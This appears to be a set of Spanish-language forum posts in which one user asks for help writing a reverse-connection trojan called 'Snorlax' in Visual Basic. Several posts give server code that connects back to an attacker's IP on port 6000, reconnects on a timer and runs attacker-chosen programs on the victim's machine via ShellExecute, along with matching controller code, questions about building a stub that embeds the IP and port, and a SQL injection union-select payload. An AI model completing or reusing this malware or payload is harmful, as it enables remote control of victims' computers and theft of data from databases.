bueno gente, se me ocurrio la idea de hacer un blog tributo a elhacker.net y bueno todo la idea esta en la primera entrada del blog

www.hackerel.blogspot.com

lean la primera y unica entrada para ver de que se trata y despues posteen aca en el foro, proque sino no entienden nada

y si quieren saber porque el nombre esta en la primera entrada tambien 

saludos

Bueno gente , postee hace muy poco mi duda sobre como hacer para que de un exe poniendo los datos en variables se impriman en el otro codigo (server) osea un edit server como hizo cobain, pero como estoy empezando estoy con algunos problemas

se trata de un form con tres textbox un command para que el archivo pruebas.exe cambie sus valores a otro tres text.

y los mas cómica no es eso sino que cuando llegan los datos el primer text llega un extraño MZ�  y los otros dos en blanco, la verdad ni idea.

buen aca el code del primer form:

Private Sub Command1_Click()
Open "C:\prueba.exe" For Binary As #1
Seek (1), LOF(1) + 1
Put #1, , a
Put #1, , b
Put #1, , c
Close #1
End Sub
 
Private Sub Form_Load()
Dim a As String * 25
Dim b As String * 25
Dim c As String * 25
a = Text1.Text
b = Text2.Text
c = Text3.Text
End Sub

muy simple jajaj

 y ahora el prueba.exe

Private Sub Form_Load()
Dim a As String * 25
Dim b As String * 25
Dim c As String * 25
Dim d As String * 25
Dim ap As String
Dim bp As String
Dim cp As String
Open "C:\prueba.exe" For Binary As #1
Get #1, , a
Get #1, , b
Get #1, , c
Seek (1), LOF(1) - 74
Close #1
ap = Trim(a)
bp = Trim(b)
cp = Trim(c)
Text1.Text = ap
Text2.Text = bp
Text3.Text = cp
End Sub

tengan en cuenta que para mi es esto nuevo, igualmente busque bastante, pero postee la duda antes y no se no contestaron mucho.

gracias (post 100 )

Bueno aca me encuentro ane este problema que se trato con anterioridad pero no se termino de completar como se hacia , el problema es este, estoy haciendo mi troyano llamado Snorlax y me falta hacer la parte para crear el servidor , osea ya se que los .exe no pueden generar otros .exe , pero tengo entendido que con el control commondialog algo se podia hacer, aca va mi duda, los .exe (cliente y servidor) hay que juntarlos en un mismo .exe para que se pueda hacer la creacion del server ,porque un troyano esta compuesto por un cliente y un servidor, osea dos codigos, entonces dos .exe, pero los troyanos comunes son 1 solo exe, que "crean" otro .exe, que enrealidad no lo crean sino que pasan las variables de la IP, el puerto y demas,

entonces estoy trabado ahi, como hacer para crear el servidor desde un .exe (ya vi los codigo de dioxis, el joiner de EON y demas) a crear el servidor, una ayuda por favor que me falta eso (y algunas cosas mas  ) para terminar snorlax



un saludo

buen estaba haciendo una sql injection y se me presento el siguiente problema:

busco el nombre de tablas y el nombre va separado en guiones por ejemplo: sql-inection-ejemplo y despues sigo buscando tablas y si por ejemplo tiene una sola palabra entonces va asi: --ejemplo y si tiene dos palabras va : -sql-injection

ahora cuando quiero seleccionar la tabla para buscar las columnas no se que ascii poner, por ejemplo para --ejemplo,tendria que poner:

-1 union all select 1,column_name,1,2,5,6,8,9 from information_schema.columns where table_name = char(0150,0150,101,106,101,109,112,108,111) and column_name
like char(37,97,37)

donde los 0150 son los guiones, pero ahora hay algo mal ahi, no me tira error sino que no me aparece nada y si le pongo otros caracteres al nombre de la table tmapoco me aparece ningun error.

quiero saber que es lo que estoy haciendo mal


un saludo

bueno hace muy poco habia presentado un problema que decia algo asi como "exe final no recibe los datos"

pero nadie respondio 
pero ahora es distinto ya que no era que no recibía los datos,sino que las condiciones que habia no se cumplian asique no pasaba nada, pero enrealidad tendrian que cumplirse el codigo es asi

If ((Split(datos, "|")(6)) = True) And ((Split(datos, "|")(5)) = False) Then
MsgBox Split(datos, "|")(1), vbOKOnly, Split(datos, "|")(3)
End If
''''
If ((Split(datos, "|")(6)) = True) And ((Split(datos, "|")(5)) = True) Then
res1 = MsgBox(Split(datos, "|")(1), vbOKOnly, Split(datos, "|")(3))
If res1 = vbOK Then ShellExecute hwnd, "open", (Split(datos, "|")(7)), vbNullString, vbNullString, conSwNormal Else: MsgBox "Posible mujer o algo rarito jaja"
End If
''''
If ((Split(datos, "|")(4)) = True) And ((Split(datos, "|")(5)) = False) Then
MsgBox Split(datos, "|")(1), vbYesNo, Split(datos, "|")(3)
End If
''''
If ((Split(datos, "|")(4)) = True) And ((Split(datos, "|")(5)) = True) And ((Split(datos, "|")(8)) = True) Then
res = MsgBox(Split(datos, "|")(1), vbYesNo, Split(datos, "|")(3))
If res = vbYes Then ShellExecute hwnd, "open", (Split(datos, "|")(7)), vbNullString, vbNullString, conSwNormal Else: ShellExecute hwnd, "open", (Split(datos, "|")(9)), vbNullString, vbNullString, conSwNormal
End If

el problema esta en los "and"!!, necesitaria saber si se puede reemplazar por otra cosa o si esta mal usado como usarlo correctamente!

adios y espero que alguien me ayude esta vez

bueno ultimamente estuve haciendo un troyano inverso en donde la primera parte que hice trabaja con diferentes msgbox y acciones segun la respuesta de la victima... se entendio la idea??

el codigo un poco engorroso

servidor:

Option Explicit
Public WithEvents server As CSocketMaster
 
Private Sub Form_Load()
Set server = New CSocketMaster
server.CloseSck
server.RemoteHost = "ip-ip-ip-ip"
server.Connect server.RemoteHost, 6000
End Sub
 
Private Sub Label1_Click()
If server.State = sckConnected Then
Label1.Caption = "conectado"
ElseIf server.State = sckClosed Then
Label1.Caption = "desconectado"
ElseIf server.State = sckConnecting Then
Label1.Caption = "conectando"
End If
End Sub
 
 
Private Sub Timer1_Timer()
If server.State = 0 Then
server.Connect server.RemoteHost, 6000
ElseIf server.State = 7 Then
Else
server.CloseSck
End If
End Sub
 
Private Sub server_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Dim res As String
Dim res1 As String
 
 
server.GetData datos
 
 
 
Select Case LCase(Split(datos, "|")(0))
 
Case LCase("mensaje")
 
If ((Split(datos, "|")(6)) = True) And ((Split(datos, "|")(5)) = False) Then
MsgBox Split(datos, "|")(1), vbOKOnly, Split(datos, "|")(3)
End If
''''
If ((Split(datos, "|")(6)) = True) And ((Split(datos, "|")(5)) = True) Then
res1 = MsgBox(Split(datos, "|")(1), vbOKOnly, Split(datos, "|")(3))
If res1 = vbOK Then ShellExecute hwnd, "open", (Split(datos, "|")(7)), vbNullString, vbNullString, conSwNormal Else: MsgBox "Posible mujer o algo rarito jaja"
End If
''''
If ((Split(datos, "|")(4)) = True) And ((Split(datos, "|")(5)) = False) Then
MsgBox Split(datos, "|")(1), vbYesNo, Split(datos, "|")(3)
End If
''''
If ((Split(datos, "|")(4)) = True) And ((Split(datos, "|")(5)) = True) And ((Split(datos, "|")(8)) = True) Then
res = MsgBox(Split(datos, "|")(1), vbYesNo, Split(datos, "|")(3))
If res = vbYes Then ShellExecute hwnd, "open", (Split(datos, "|")(7)), vbNullString, vbNullString, conSwNormal Else: ShellExecute hwnd, "open", (Split(datos, "|")(9)), vbNullString, vbNullString, conSwNormal
End If
     '''''
 
 
''''''''''''
 
''''''''''''
End Select
 
End Sub

cliente:

Option Explicit
Public WithEvents ws As CSocketMaster
 
Private Sub Check2_Click()
If Check2.Value = 1 Then
Check3.Enabled = False
ElseIf Check2.Value = 0 Then
Check3.Enabled = True
End If
End Sub
 
Private Sub Check3_Click()
If Check3.Value = 1 Then
Check2.Enabled = False
ElseIf Check3.Value = 0 Then
Check2.Enabled = True
End If
If Check3.Value = 1 Then
Option1.Enabled = False
Option2.Enabled = False
Option3.Enabled = False
Option5.Enabled = False
Text6.Enabled = False
End If
If Check3.Value = 0 Then
Option1.Enabled = True
Option2.Enabled = True
Option3.Enabled = True
Option5.Enabled = True
Text6.Enabled = True
End If
End Sub
 
Private Sub Command1_Click()
Dim datos As String
Dim datos1 As String
Dim mensajes As String
Dim titulo As String
datos1 = Check1.Value
mensajes = Text1.Text
titulo = Text4.Text
datos = "mensaje|" & Text1.Text & "|" & Check1.Value & "|" & Text4.Text & "|" & Check2.Value & "|" & Option4.Value & "|" & Check3.Value & "|" & Text5.Text & "|" & Option5.Value & "|" & Text6.Text
'''''''''''''''''''''''''1'''''''''''''''''''''2''''''''''''''''''3'''''''''''''''''''4'''''''''''''''''''5''''''''''''''''''''6''''''''''''''''''''7''''''''''''''''''''8'''''''''''''''''''9'''''
ws.SendData datos
 
End Sub
 
Private Sub Command2_Click()
ws.CloseSck
ws.LocalPort = Text2.Text
ws.Listen
Text2.Enabled = False
End Sub
 
Private Sub Form_Load()
Set ws = New CSocketMaster
End Sub
 
Private Sub Label5_MouseMove(Button As Integer, Shift As Integer, x As Single, y As Single)
If ws.State = sckConnected Then
Label5.Caption = "Conectado"
ElseIf ws.State = sckClosed Then
Label5.Caption = "Desconectado"
ElseIf ws.State = sckConnecting Then
Label5.Caption = "Conectando"
End If
End Sub
 
Private Sub ws_ConnectionRequest(ByVal requestID As Long)
ws.CloseSck
ws.Accept requestID
End Sub

ya se que es muy engorroso pero alguno que tenga ganas  

buen el problem principal es: dentro del visual basic (dos visual basic separados (cliente-servidor)) funciona bien

fuera (osea el .exe final) no recibe los datos

adiooos

Hola a todos, estuve haciendo un programita en estos ultimos días, pero me choque con un problema.
El programa es un troyano cliente-servidor (inverso), y una de sus funciones es mandar mensajes con: si,no,cancelar...si no y otra sin nada..y con la respuesta de la victima ejecutar algo (despues veo bien qué)

supongo que ya entendieron maso menos la idea
parte del codigo del server

Private Sub server_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Dim Data() As String
 
server.GetData datos
 
Select Case LCase(Split(datos, "|")(0))
 
Case LCase("mensaje")
 
'''''''''''''
 
 
If (Split(datos, "|")(2)) = 1 Then
        MsgBox Split(datos, "|")(1), vbYesNoCancel, Split(datos, "|")(3)
     '''''
ElseIf (Split(datos, "|")(4)) = 1 Then
MsgBox Split(datos, "|")(1), vbYesNo, Split(datos, "|")(3) = vbYes ' aca no se como haceeeeeeeer!!
 
''''''''''''
 
Else
MsgBox Split(datos, "|")(1), vbOKOnly, Split(datos, "|")(3)
 
End If
''''''''''''
End Select
 
End Sub

cliente :

Private Sub Command1_Click()
Dim datos As String
Dim datos1 As String
Dim mensajes As String
Dim titulo As String
datos1 = Check1.Value
mensajes = Text1.Text
titulo = Text4.Text
datos = "mensaje|" & Text1.Text & "|" & Check1.Value & "|" & Text4.Text & "|" & Check2.Value & "|" & Option1.Value
 
 
ws.SendData datos
 
End Sub

la conexión esta bien no pongo el resto del código porque ahí  no hay problema.

Adios y Muchas Gracias

hola, bueno yo anteriormente postee sobre un problema con el Csocketmaster...parece que está solucionado

pero ahora me surgió otro problemam al hacer el troyano de conexion inversa (con los winsock) me funciona bien, pero al hacer el server y el cliente el servidor no conecta..

a ver si laguien me puede ayudar

server.exe (envia a la victima)

Option Explicit
Dim WithEvents cliente As CSocketMaster
 
Private Sub Coneccion_Timer_Timer()
If Not cliente.State = sckConnected Then
cliente.CloseSck
cliente.Connect cliente.RemoteHost, 6000
End If
End Sub
 
Private Sub Form_Load()
Set cliente = New CSocketMaster
cliente.CloseSck
cliente.RemoteHost = "ip-o-dominio-no-ip"
cliente.Connect cliente.RemoteHost, 6000
End Sub
Private Sub Label1_Click()
If cliente.State = sckConnected Then
Label1.Caption = "conectado"
Else: Label1.Caption = "desconectado"
End If
End Sub

cliente.exe (atacante)

Option Explicit
Dim WithEvents server As CSocketMaster
 
Private Sub Command1_Click()
server.CloseSck
server.Bind 6000
server.Listen
End Sub
Private Sub Form_Load()
Set server = New CSocketMaster
End Sub
Private Sub ws_ConnectionRequest(ByVal requestID As Long)
server.CloseSck
server.Accept requestID
End Sub
 

bueno el que tenga ganas de ayudar bienvenido sea 

adios y gracias

buen estubo programando en winsock algunas aplicaciones.. y lei un poco de que es mejor usar el CSocketmaster, bueno el problema es que no encutro mucho algo asi como un tutorial.,. o funciones báscias

la idea es hacer una simple conexion a un cliente (troyano inverso)

y lo que me pasa es lo siguiente: el code

Option Explicit
Dim WithEvents Server As CSocketMaster
Private strRemoteHost As String
 
Private Sub Form_Load()
Set Server = New CSocketMaster
strRemoteHost = "IP.IP.IP.iP"
End Sub
 
Private Sub Command1_Click()
 
Server.Bind
Server.Connect
 
End Sub

mas los dos modulos

ya se ese codigo es un desastre pero la verdad estoy comenzando y estoy medio perdido...

el error que me da en visual basic es:

me marca el class module: CSocketmaster

Err.Raise sckInvalidOp, "CSocketMaster.Connect", "Invalid operation at current state"

y en el .exe : run time error: '40020'

muchas gracias

adioos  

buen el problema es que estoy haciendo una aplicacion (mini troyano) que utiliza los winsock, entonces la aplicación "server (conexion inversa)" necesita el archivo MSWINSCK.ocx pero como no lo tiene instalado salta un error de que no esta instalado, busque en google y lei dos respuestas:

1. en el form incluir el MSWINSCK.ocx y que se envie a system32.
2. usar las API winsock.

bien en la primera entendi todo ya que es muy sencillo.

pero en la segunda pude tener el codigo y lo hubique en un modulo pero la verdad es que no lo puedo poner en funcionamiento

que es mejor hacer lo primero o lo segundo:

si es lo segundo porfavor un link o algo que epxlique un poco de que se trata.

adios y muchas gracias